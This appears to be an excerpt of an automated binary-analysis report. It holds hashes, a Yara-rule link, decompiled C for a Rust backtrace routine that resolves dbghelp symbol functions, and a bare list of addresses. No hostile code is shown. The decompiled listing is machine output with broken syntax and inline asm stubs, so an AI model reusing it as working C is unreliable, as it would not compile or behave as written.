String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: 30d3c5f3a37f4547121b0be1f9cbe171d60a6d188a1fca0205ac5b54746fb74f
Instruction ID: 9787c7b4def33a65032e6394725163c42b48626fa0597cd6fee4f276d8854992
Opcode Fuzzy Hash: 30d3c5f3a37f4547121b0be1f9cbe171d60a6d188a1fca0205ac5b54746fb74f
Instruction Fuzzy Hash: A441D4B1A40705DFEF10EFE88D5079A36A9BB55728F008438E405AF380EB35D8428B66

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FE6E0, Relevance: 25.1, APIs: 9, Strings: 5, Instructions: 588
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E6E9FE6E0(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi) {
				void* _v16;
				char _v4528;
				void* __ebp;
				char* _t225;
				void* _t234;
				void* _t237;
				signed int _t240;
				signed int _t243;
				signed char _t249;
				intOrPtr _t250;
				void* _t255;
				intOrPtr _t256;
				signed int _t258;
				signed char _t262;
				signed int _t265;
				signed short _t267;
				signed short* _t269;
				signed int _t273;
				void* _t277;
				void* _t278;
				intOrPtr _t279;
				signed int _t281;
				void* _t283;
				intOrPtr _t284;
				signed int _t286;
				signed short _t290;
				signed int _t292;
				signed short* _t293;
				signed short _t294;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t302;
				signed int _t304;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed short* _t317;
				intOrPtr _t321;
				intOrPtr _t322;
				void* _t328;
				signed int _t330;
				intOrPtr _t333;
				signed int _t337;
				void* _t338;
				void* _t346;
				intOrPtr _t350;
				signed short* _t353;
				signed int _t354;
				signed int _t357;
				void* _t358;
				signed int _t365;
				void* _t366;
				signed short* _t369;
				signed int _t371;
				signed int _t373;
				signed short* _t379;
				signed int _t381;
				signed char _t384;
				signed char _t385;
				intOrPtr _t392;
				signed int* _t393;
				signed char _t394;
				signed int _t397;
				signed char _t398;
				signed int _t399;
				signed int _t400;
				signed short _t401;
				signed int _t407;
				signed int _t409;
				signed char _t410;
				signed int _t411;
				signed short _t412;
				signed int _t418;
				intOrPtr _t421;
				signed int _t423;
				signed int _t424;

				_t365 = __edx;
				_t321 = __ecx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t424 = _t423 & 0xfffffff0;
				E6EA0C6C0(0x11b0);
				_t418 = _t424;
				 *((intOrPtr*)(_t418 + 0x1198)) = _t421;
				 *(_t418 + 0x119c) = _t424;
				 *(_t418 + 0x11a8) = 0xffffffff;
				 *((intOrPtr*)(_t418 + 0x11a4)) = E6EA03A00;
				 *((intOrPtr*)(_t418 + 0x11a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t418 + 0x11a0;
				 *((intOrPtr*)(_t418 + 0x5c)) = __edx;
				_t225 =  *((intOrPtr*)(__ecx));
				if( *_t225 != 0 ||  *((intOrPtr*)( *((intOrPtr*)(__ecx + 4)))) <= 0x64) {
					_t392 =  *((intOrPtr*)(_t321 + 8));
					_t301 =  *(_t321 + 0xc);
					 *((intOrPtr*)(_t418 + 0x80)) = _t321;
					_t322 =  *((intOrPtr*)(_t321 + 0x10));
					 *(_t418 + 0x1c) = _t365;
					_t366 = _t418 + 0x12;
					 *(_t418 + 0x12) = 0;
					 *((char*)(_t418 + 0x13)) = 0;
					 *(_t418 + 0x84) = _t366;
					 *((intOrPtr*)(_t418 + 0x88)) = _t225;
					 *((intOrPtr*)(_t418 + 0x8c)) = _t392;
					 *((intOrPtr*)(_t418 + 0x90)) = _t418 + 0x13;
					 *(_t418 + 0x94) = _t301;
					 *((intOrPtr*)(_t418 + 0x98)) = _t322;
					 *((intOrPtr*)(_t418 + 0x7c)) = _t392;
					 *(_t418 + 0x58) = _t301;
					 *((intOrPtr*)(_t418 + 0x78)) = _t322;
					 *((intOrPtr*)(_t418 + 0x9c)) = _t418 + 0x5c;
					if(E6E9FE4E0(_t301, _t392, _t418) == 0) {
						_t393 =  *(_t418 + 0x1c);
						 *(_t418 + 0x2c) = _t366;
						__eflags =  *_t393 ^ 0x00000001 | _t393[1];
						if(( *_t393 ^ 0x00000001 | _t393[1]) != 0) {
							E6EA0E9D0(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t302 =  *0x6ea4e15c; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t302;
							if(_t302 != 0) {
								L33:
								_t234 = GetCurrentProcess();
								_t394 = _t393[0x45];
								 *(_t418 + 0x18) = _t234;
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t369 =  <  ? 0 : _t393[2] - 1;
								 *(_t418 + 0x20) = _t394;
								 *(_t418 + 0x30) = _t369;
								_t237 =  *_t302( *(_t418 + 0x18), _t369, 0, _t394, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t237 - 1;
								if(_t237 != 1) {
									goto L75;
								} else {
									_t250 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t304 = _t418 + 0x1f4;
									_t371 = _t418 + 0xa0;
									 *(_t418 + 0xc) = 0;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t328 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t250 - _t328;
									_t329 =  <=  ? _t250 : _t328;
									_t330 = 0;
									 *(_t418 + 0x14) = _t418 + 0x1f4 + ( <=  ? _t250 : _t328) * 2;
									__eflags = 0;
									 *(_t418 + 0x18) = 0x100;
									if(0 == 0) {
										L37:
										__eflags = _t304 -  *(_t418 + 0x14);
										if(_t304 !=  *(_t418 + 0x14)) {
											_t400 = _t304;
											_t304 = _t304 + 2;
											__eflags = _t304;
											_t401 =  *_t400 & 0x0000ffff;
											goto L39;
										}
									} else {
										asm("o16 nop [cs:eax+eax]");
										L36:
										_t401 = _t330 >> 0x10;
										L39:
										 *(_t418 + 0x1c) = _t330 & 0xffff0000;
										__eflags = (_t401 & 0x0000f800) - 0xd800;
										if((_t401 & 0x0000f800) != 0xd800) {
											 *(_t418 + 0x24) = _t304;
											_t337 = _t401 & 0x0000ffff;
											_t262 = 0;
										} else {
											_t269 = _t304;
											_t337 = 0;
											__eflags = (_t401 & 0x0000ffff) - 0xdbff;
											if((_t401 & 0x0000ffff) <= 0xdbff) {
												_t309 =  *(_t418 + 0x14);
												__eflags = _t269 - _t309;
												if(_t269 == _t309) {
													 *(_t418 + 0x24) = _t309;
													goto L48;
												} else {
													_t310 =  *_t269 & 0x0000ffff;
													 *(_t418 + 0x24) =  &(_t269[1]);
													 *(_t418 + 0x28) = _t310;
													__eflags = (_t310 & 0x0000fc00) - 0xdc00;
													if((_t310 & 0x0000fc00) != 0xdc00) {
														 *(_t418 + 0x1c) = ( *(_t418 + 0x28) & 0x0000ffff) << 0x00000010 | 0x00000001;
														asm("o16 nop [eax+eax]");
														goto L48;
													} else {
														_t262 = 0;
														_t337 = ( *(_t418 + 0x28) + 0x00002400 & 0x0000ffff | (_t401 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											} else {
												 *(_t418 + 0x24) = _t269;
												L48:
												_t262 = 1;
											}
										}
										_t304 =  *(_t418 + 0x18);
										__eflags = _t262 & 0x00000001;
										_t394 = 1;
										_t338 =  !=  ? 0xfffd : _t337;
										__eflags = _t338 - 0x80;
										if(_t338 >= 0x80) {
											_t394 = 2;
											__eflags = _t338 - 0x800;
											if(_t338 >= 0x800) {
												__eflags = _t338 - 0x10000;
												_t394 = 4;
												asm("sbb edi, 0x0");
											}
										}
										_t265 = _t304 - _t394;
										__eflags = _t265;
										 *(_t418 + 0x28) = _t265;
										if(_t265 > 0) {
											 *(_t418 + 0x34) = _t394;
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x18) = _t371;
											E6E9FDB50(_t304, _t338, _t371, _t394, _t418, _t421, _t304);
											_t424 = _t424 + 4;
											_t267 =  *(_t418 + 0x34);
											_t330 =  *(_t418 + 0x1c);
											_t304 =  *(_t418 + 0x24);
											_t371 =  *(_t418 + 0x18) + _t267;
											 *(_t418 + 0xc) =  *(_t418 + 0xc) + _t267;
											__eflags = _t330;
											 *(_t418 + 0x18) =  *(_t418 + 0x28);
											if(_t330 != 0) {
												goto L36;
											} else {
												goto L37;
											}
										}
									}
									__eflags =  *(_t418 + 0xc) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6EA19470(_t304,  *(_t418 + 0xc), 0x100, _t394, _t418, __eflags, 0x6ea409ec);
										goto L87;
									} else {
										_t397 =  *0x6ea4e160; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t397;
										if(_t397 != 0) {
											L67:
											_t255 = GetCurrentProcess();
											_t333 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t373 = _t418 + 0x38;
											_t256 =  *_t397(_t255,  *(_t418 + 0x30), 0,  *(_t418 + 0x20), 0, 0, _t373, _t333);
											__eflags = _t256 - 1;
											if(_t256 != 1) {
												_t398 = 0;
												__eflags = 0;
											} else {
												_t256 =  *((intOrPtr*)(_t418 + 0x68));
												_t333 =  *((intOrPtr*)(_t418 + 0x6c));
												_t399 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t373 = _t399;
													_t399 = _t399 + 1;
													__eflags =  *((short*)(_t333 + _t373 * 2));
												} while ( *((short*)(_t333 + _t373 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t398 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0xc);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t398;
											 *((intOrPtr*)(_t418 + 0x48)) = _t256;
											 *(_t418 + 0x4c) = _t398;
											 *((intOrPtr*)(_t418 + 0x50)) = _t333;
											 *(_t418 + 0x54) = _t373;
											E6E9FF860(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t258 = GetProcAddress( *0x6ea4e130, "SymGetLineFromInlineContextW");
											__eflags = _t258;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6EA194E0(_t304, "called `Option::unwrap()` on a `None` value", 0x2b, _t397, _t418, __eflags, 0x6ea40ad0);
												goto L87;
											} else {
												_t397 = _t258;
												 *0x6ea4e160 = _t258;
												goto L67;
											}
										}
									}
								}
							} else {
								_t273 = GetProcAddress( *0x6ea4e130, "SymFromInlineContextW");
								__eflags = _t273;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6EA194E0(_t302, "called `Option::unwrap()` on a `None` value", 0x2b, _t393, _t418, __eflags, 0x6ea40ad0);
									goto L87;
								} else {
									_t302 = _t273;
									 *0x6ea4e15c = _t273;
									goto L33;
								}
							}
						} else {
							_t312 = _t393[2];
							E6EA0E9D0(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t407 =  *0x6ea4e150; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t407;
							if(_t407 != 0) {
								L9:
								_t277 = GetCurrentProcess();
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t278 =  *_t407(_t277, _t312, 0, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t278 - 1;
								if(_t278 != 1) {
									L75:
									ReleaseMutex( *(_t418 + 0x2c));
									__eflags =  *((char*)(_t418 + 0x13));
									if( *((char*)(_t418 + 0x13)) != 0) {
										goto L4;
									} else {
										goto L76;
									}
									goto L80;
								} else {
									_t279 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t408 = 0x100;
									 *(_t418 + 0x20) = 0;
									 *(_t418 + 0x14) = _t312;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t346 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t279 - _t346;
									_t347 =  <=  ? _t279 : _t346;
									_t379 = _t418 + 0x1f4 + ( <=  ? _t279 : _t346) * 2;
									 *(_t418 + 0xc) = _t418 + 0x1f4;
									_t281 = 0;
									 *(_t418 + 0x30) = _t379;
									__eflags = 0;
									 *(_t418 + 0x1c) = _t418 + 0xa0;
									 *(_t418 + 0x28) = 0x100;
									if(0 == 0) {
										L13:
										__eflags =  *(_t418 + 0xc) - _t379;
										if( *(_t418 + 0xc) != _t379) {
											_t353 =  *(_t418 + 0xc);
											_t412 =  *_t353 & 0x0000ffff;
											_t354 =  &(_t353[1]);
											__eflags = _t354;
											 *(_t418 + 0xc) = _t354;
											goto L15;
										}
									} else {
										L12:
										_t412 = _t281 >> 0x10;
										L15:
										 *(_t418 + 0x18) = _t281 & 0xffff0000;
										__eflags = (_t412 & 0x0000f800) - 0xd800;
										if((_t412 & 0x0000f800) != 0xd800) {
											_t357 = _t412 & 0x0000ffff;
											_t384 = 0;
										} else {
											_t357 = 0;
											_t384 = 1;
											__eflags = (_t412 & 0x0000ffff) - 0xdbff;
											if((_t412 & 0x0000ffff) <= 0xdbff) {
												_t317 =  *(_t418 + 0xc);
												_t293 =  *(_t418 + 0x30);
												__eflags = _t317 - _t293;
												if(_t317 == _t293) {
													 *(_t418 + 0xc) = _t293;
												} else {
													_t294 =  *_t317 & 0x0000ffff;
													 *(_t418 + 0xc) =  &(_t317[1]);
													__eflags = (_t294 & 0x0000fc00) - 0xdc00;
													if((_t294 & 0x0000fc00) != 0xdc00) {
														_t297 = (_t294 & 0x0000ffff) << 0x00000010 | 0x00000001;
														__eflags = _t297;
														 *(_t418 + 0x18) = _t297;
													} else {
														_t384 = 0;
														_t357 = (_t294 + 0x00002400 & 0x0000ffff | (_t412 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											}
											_t312 =  *(_t418 + 0x14);
										}
										__eflags = _t384 & 0x00000001;
										_t385 = 1;
										_t358 =  !=  ? 0xfffd : _t357;
										_t290 =  *(_t418 + 0x28);
										__eflags = _t358 - 0x80;
										if(_t358 >= 0x80) {
											_t385 = 2;
											__eflags = _t358 - 0x800;
											if(_t358 >= 0x800) {
												__eflags = _t358 - 0x10000;
												_t385 = 4;
												asm("sbb edx, 0x0");
											}
										}
										_t408 = _t290 - _t385;
										__eflags = _t408;
										if(_t408 > 0) {
											 *(_t418 + 0x24) = _t385;
											 *(_t418 + 0x34) = _t408;
											 *(_t418 + 0x11a8) = 0;
											E6E9FDB50(_t312, _t358,  *(_t418 + 0x1c), _t408, _t418, _t421, _t290);
											_t424 = _t424 + 4;
											_t292 =  *(_t418 + 0x24);
											_t408 =  *(_t418 + 0x34);
											_t312 =  *(_t418 + 0x14);
											_t379 =  *(_t418 + 0x30);
											 *(_t418 + 0x20) =  *(_t418 + 0x20) + _t292;
											_t281 =  *(_t418 + 0x18);
											__eflags = _t281;
											 *(_t418 + 0x1c) =  *(_t418 + 0x1c) + _t292;
											 *(_t418 + 0x28) =  *(_t418 + 0x34);
											if(_t281 != 0) {
												goto L12;
											} else {
												goto L13;
											}
										}
									}
									__eflags =  *(_t418 + 0x20) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6EA19470(_t312,  *(_t418 + 0x20), 0x100, _t408, _t418, __eflags, 0x6ea409ec);
										goto L87;
									} else {
										_t409 =  *0x6ea4e154; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t409;
										if(_t409 != 0) {
											L59:
											_t283 = GetCurrentProcess();
											_t350 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t381 = _t418 + 0x38;
											_t284 =  *_t409(_t283, _t312, 0, _t381, _t350);
											__eflags = _t284 - 1;
											if(_t284 != 1) {
												_t410 = 0;
												__eflags = 0;
											} else {
												_t284 =  *((intOrPtr*)(_t418 + 0x68));
												_t350 =  *((intOrPtr*)(_t418 + 0x6c));
												_t411 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t381 = _t411;
													_t411 = _t411 + 1;
													__eflags =  *((short*)(_t350 + _t381 * 2));
												} while ( *((short*)(_t350 + _t381 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t410 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0x20);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t410;
											 *((intOrPtr*)(_t418 + 0x48)) = _t284;
											 *(_t418 + 0x4c) = _t410;
											 *((intOrPtr*)(_t418 + 0x50)) = _t350;
											 *(_t418 + 0x54) = _t381;
											E6E9FF860(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t286 = GetProcAddress( *0x6ea4e130, "SymGetLineFromAddrW64");
											__eflags = _t286;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6EA194E0(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t409, _t418, __eflags, 0x6ea40ad0);
												goto L87;
											} else {
												_t409 = _t286;
												 *0x6ea4e154 = _t286;
												goto L59;
											}
										}
									}
								}
							} else {
								_t298 = GetProcAddress( *0x6ea4e130, "SymFromAddrW");
								__eflags = _t298;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6EA194E0(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t407, _t418, __eflags, 0x6ea40ad0);
									L87:
									asm("ud2");
									asm("o16 nop [eax+eax]");
									_push(_t421);
									return E6E9FE6D0( *((intOrPtr*)( &_v4528 + 0x2c)));
								} else {
									_t407 = _t298;
									 *0x6ea4e150 = _t298;
									goto L9;
								}
							}
						}
					} else {
						if( *((char*)(_t418 + 0x13)) == 0) {
							L76:
							__eflags =  *(_t418 + 0x12);
							if( *(_t418 + 0x12) == 0) {
								__eflags =  *((char*)( *((intOrPtr*)(_t418 + 0x7c))));
								if( *((char*)( *((intOrPtr*)(_t418 + 0x7c)))) != 0) {
									 *(_t418 + 0x38) =  *((intOrPtr*)(_t418 + 0x78));
									 *(_t418 + 0x3c) = 0;
									 *(_t418 + 0x1a8) = 4;
									 *(_t418 + 0xa0) = 2;
									 *(_t418 + 0x11a8) = 1;
									_push(0);
									_push(_t418 + 0xa0);
									_push(_t418 + 0x1a0);
									 *( *(_t418 + 0x58)) = E6E9FF0A0(_t418 + 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x5c)) + 8)));
									_t249 =  *(_t418 + 0x38);
									_t202 = _t249 + 4;
									 *_t202 =  *(_t249 + 4) + 1;
									__eflags =  *_t202;
								}
							}
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) + 1;
							_t243 =  *(_t418 + 0x58);
							__eflags =  *_t243;
							_t208 =  *_t243 == 0;
							__eflags = _t208;
							_t240 = _t243 & 0xffffff00 | _t208;
						} else {
							goto L4;
						}
						goto L80;
					}
				} else {
					L4:
					_t240 = 0;
					L80:
					 *[fs:0x0] =  *((intOrPtr*)(_t418 + 0x11a0));
					return _t240;
				}
			}

0x6e9fe6e0
0x6e9fe6e0
0x6e9fe6e3
0x6e9fe6e4
0x6e9fe6e5
0x6e9fe6e6
0x6e9fe6ee
0x6e9fe6f3
0x6e9fe6f5
0x6e9fe6fb
0x6e9fe701
0x6e9fe70b
0x6e9fe722
0x6e9fe728
0x6e9fe72e
0x6e9fe731
0x6e9fe736
0x6e9fe740
0x6e9fe743
0x6e9fe746
0x6e9fe74c
0x6e9fe74f
0x6e9fe752
0x6e9fe755
0x6e9fe759
0x6e9fe75d
0x6e9fe763
0x6e9fe76c
0x6e9fe772
0x6e9fe77b
0x6e9fe781
0x6e9fe787
0x6e9fe78a
0x6e9fe78d
0x6e9fe790
0x6e9fe79d
0x6e9fe7b0
0x6e9fe7b3
0x6e9fe7bb
0x6e9fe7be
0x6e9fea68
0x6e9fea6d
0x6e9fea70
0x6e9fea76
0x6e9fea80
0x6e9fea8a
0x6e9fea8c
0x6e9feaae
0x6e9feaae
0x6e9feab6
0x6e9feabc
0x6e9feac7
0x6e9fead1
0x6e9feade
0x6e9feae9
0x6e9feaef
0x6e9feaf6
0x6e9feaf8
0x6e9feafb
0x00000000
0x6e9feb01
0x6e9feb07
0x6e9feb0d
0x6e9feb10
0x6e9feb16
0x6e9feb1c
0x6e9feb23
0x6e9feb2a
0x6e9feb31
0x6e9feb38
0x6e9feb3f
0x6e9feb46
0x6e9feb4d
0x6e9feb54
0x6e9feb5b
0x6e9feb62
0x6e9feb69
0x6e9feb70
0x6e9feb77
0x6e9feb7e
0x6e9feb85
0x6e9feb8c
0x6e9feb93
0x6e9feb94
0x6e9feb96
0x6e9feba0
0x6e9feba2
0x6e9febaa
0x6e9febad
0x6e9febb0
0x6e9febd0
0x6e9febd0
0x6e9febd3
0x6e9febd9
0x6e9febdb
0x6e9febdb
0x6e9febde
0x00000000
0x6e9febde
0x6e9febb2
0x6e9febb2
0x6e9febc0
0x6e9febc2
0x6e9febe1
0x6e9febee
0x6e9febf1
0x6e9febf6
0x6e9fec10
0x6e9fec13
0x6e9fec16
0x6e9febf8
0x6e9febf8
0x6e9febfd
0x6e9febff
0x6e9fec05
0x6e9fec20
0x6e9fec23
0x6e9fec25
0x6e9fec65
0x00000000
0x6e9fec27
0x6e9fec27
0x6e9fec2d
0x6e9fec30
0x6e9fec39
0x6e9fec3f
0x6e9fec74
0x6e9fec77
0x00000000
0x6e9fec41
0x6e9fec5b
0x6e9fec5d
0x6e9fec5d
0x6e9fec3f
0x6e9fec07
0x6e9fec07
0x6e9fec80
0x6e9fec80
0x6e9fec80
0x6e9fec05
0x6e9fec85
0x6e9fec88
0x6e9fec8f
0x6e9fec94
0x6e9fec97
0x6e9fec9d
0x6e9fec9f
0x6e9feca4
0x6e9fecaa
0x6e9fecac
0x6e9fecb2
0x6e9fecb7
0x6e9fecb7
0x6e9fecaa
0x6e9fecbc
0x6e9fecbc
0x6e9fecbe
0x6e9fecc1
0x6e9fecc7
0x6e9fecca
0x6e9fecd5
0x6e9fecd8
0x6e9fecdd
0x6e9fece0
0x6e9fece6
0x6e9fece9
0x6e9fecec
0x6e9fecee
0x6e9fecf4
0x6e9fecf7
0x6e9fecfa
0x00000000
0x6e9fed00
0x00000000
0x6e9fed00
0x6e9fecfa
0x6e9fecc1
0x6e9fedae
0x6e9fedb5
0x6e9fefaa
0x6e9fefbe
0x00000000
0x6e9fedbb
0x6e9fedbb
0x6e9fedc1
0x6e9fedc4
0x6e9fedcb
0x6e9fedd2
0x6e9fedd6
0x6e9feddd
0x6e9feddf
0x6e9fee01
0x6e9fee01
0x6e9fee06
0x6e9fee09
0x6e9fee10
0x6e9fee22
0x6e9fee24
0x6e9fee27
0x6e9fee9e
0x6e9fee9e
0x6e9fee29
0x6e9fee29
0x6e9fee2c
0x6e9fee2f
0x6e9fee2f
0x6e9fee31
0x6e9fee40
0x6e9fee40
0x6e9fee42
0x6e9fee43
0x6e9fee43
0x6e9fee4a
0x6e9fee54
0x6e9fee54
0x6e9feea6
0x6e9feeb0
0x6e9feeb6
0x6e9feebf
0x6e9feec2
0x6e9feec5
0x6e9feec8
0x6e9feecb
0x6e9feece
0x6e9feeda
0x00000000
0x6e9fede1
0x6e9fedec
0x6e9fedf2
0x6e9fedf4
0x6e9ff034
0x6e9ff04d
0x00000000
0x6e9fedfa
0x6e9fedfa
0x6e9fedfc
0x00000000
0x6e9fedfc
0x6e9fedf4
0x6e9feddf
0x6e9fedb5
0x6e9fea8e
0x6e9fea99
0x6e9fea9f
0x6e9feaa1
0x6e9fefee
0x6e9ff007
0x00000000
0x6e9feaa7
0x6e9feaa7
0x6e9feaa9
0x00000000
0x6e9feaa9
0x6e9feaa1
0x6e9fe7c4
0x6e9fe7c4
0x6e9fe7d5
0x6e9fe7da
0x6e9fe7dd
0x6e9fe7e3
0x6e9fe7ed
0x6e9fe7f7
0x6e9fe7f9
0x6e9fe81b
0x6e9fe81b
0x6e9fe826
0x6e9fe830
0x6e9fe846
0x6e9fe848
0x6e9fe84b
0x6e9feedf
0x6e9feee3
0x6e9feee8
0x6e9feeec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fe851
0x6e9fe857
0x6e9fe85d
0x6e9fe860
0x6e9fe865
0x6e9fe86c
0x6e9fe86f
0x6e9fe876
0x6e9fe87d
0x6e9fe884
0x6e9fe88b
0x6e9fe892
0x6e9fe899
0x6e9fe8a0
0x6e9fe8a7
0x6e9fe8ae
0x6e9fe8b5
0x6e9fe8bc
0x6e9fe8c3
0x6e9fe8ca
0x6e9fe8d1
0x6e9fe8d8
0x6e9fe8df
0x6e9fe8e0
0x6e9fe8e2
0x6e9fe8eb
0x6e9fe8f2
0x6e9fe8f5
0x6e9fe8fd
0x6e9fe900
0x6e9fe903
0x6e9fe906
0x6e9fe909
0x6e9fe920
0x6e9fe920
0x6e9fe923
0x6e9fe929
0x6e9fe92c
0x6e9fe92f
0x6e9fe92f
0x6e9fe932
0x00000000
0x6e9fe932
0x6e9fe910
0x6e9fe910
0x6e9fe912
0x6e9fe935
0x6e9fe942
0x6e9fe945
0x6e9fe94b
0x6e9fe9b0
0x6e9fe9b3
0x6e9fe94d
0x6e9fe950
0x6e9fe952
0x6e9fe957
0x6e9fe95d
0x6e9fe95f
0x6e9fe962
0x6e9fe965
0x6e9fe967
0x6e9fe9b7
0x6e9fe969
0x6e9fe969
0x6e9fe96f
0x6e9fe97a
0x6e9fe980
0x6e9fe9c2
0x6e9fe9c2
0x6e9fe9c5
0x6e9fe982
0x6e9fe999
0x6e9fe99b
0x6e9fe99b
0x6e9fe980
0x6e9fe967
0x6e9fe9d0
0x6e9fe9d0
0x6e9fe9d3
0x6e9fe9db
0x6e9fe9e0
0x6e9fe9e3
0x6e9fe9e6
0x6e9fe9ec
0x6e9fe9ee
0x6e9fe9f3
0x6e9fe9f9
0x6e9fe9fb
0x6e9fea01
0x6e9fea06
0x6e9fea06
0x6e9fe9f9
0x6e9fea0b
0x6e9fea0b
0x6e9fea0d
0x6e9fea13
0x6e9fea19
0x6e9fea1c
0x6e9fea27
0x6e9fea2c
0x6e9fea2f
0x6e9fea35
0x6e9fea38
0x6e9fea3b
0x6e9fea40
0x6e9fea43
0x6e9fea46
0x6e9fea49
0x6e9fea4c
0x6e9fea4f
0x00000000
0x6e9fea55
0x00000000
0x6e9fea55
0x6e9fea4f
0x6e9fea0d
0x6e9fed05
0x6e9fed0c
0x6e9fef86
0x6e9fef9a
0x00000000
0x6e9fed12
0x6e9fed12
0x6e9fed18
0x6e9fed1b
0x6e9fed22
0x6e9fed29
0x6e9fed2d
0x6e9fed34
0x6e9fed36
0x6e9fed58
0x6e9fed58
0x6e9fed5d
0x6e9fed60
0x6e9fed67
0x6e9fed70
0x6e9fed72
0x6e9fed75
0x6e9fee5b
0x6e9fee5b
0x6e9fed7b
0x6e9fed7b
0x6e9fed7e
0x6e9fed81
0x6e9fed81
0x6e9fed83
0x6e9fed90
0x6e9fed90
0x6e9fed92
0x6e9fed93
0x6e9fed93
0x6e9fed9a
0x6e9feda4
0x6e9feda4
0x6e9fee63
0x6e9fee6d
0x6e9fee73
0x6e9fee7c
0x6e9fee7f
0x6e9fee82
0x6e9fee85
0x6e9fee88
0x6e9fee8b
0x6e9fee97
0x00000000
0x6e9fed38
0x6e9fed43
0x6e9fed49
0x6e9fed4b
0x6e9ff011
0x6e9ff02a
0x00000000
0x6e9fed51
0x6e9fed51
0x6e9fed53
0x00000000
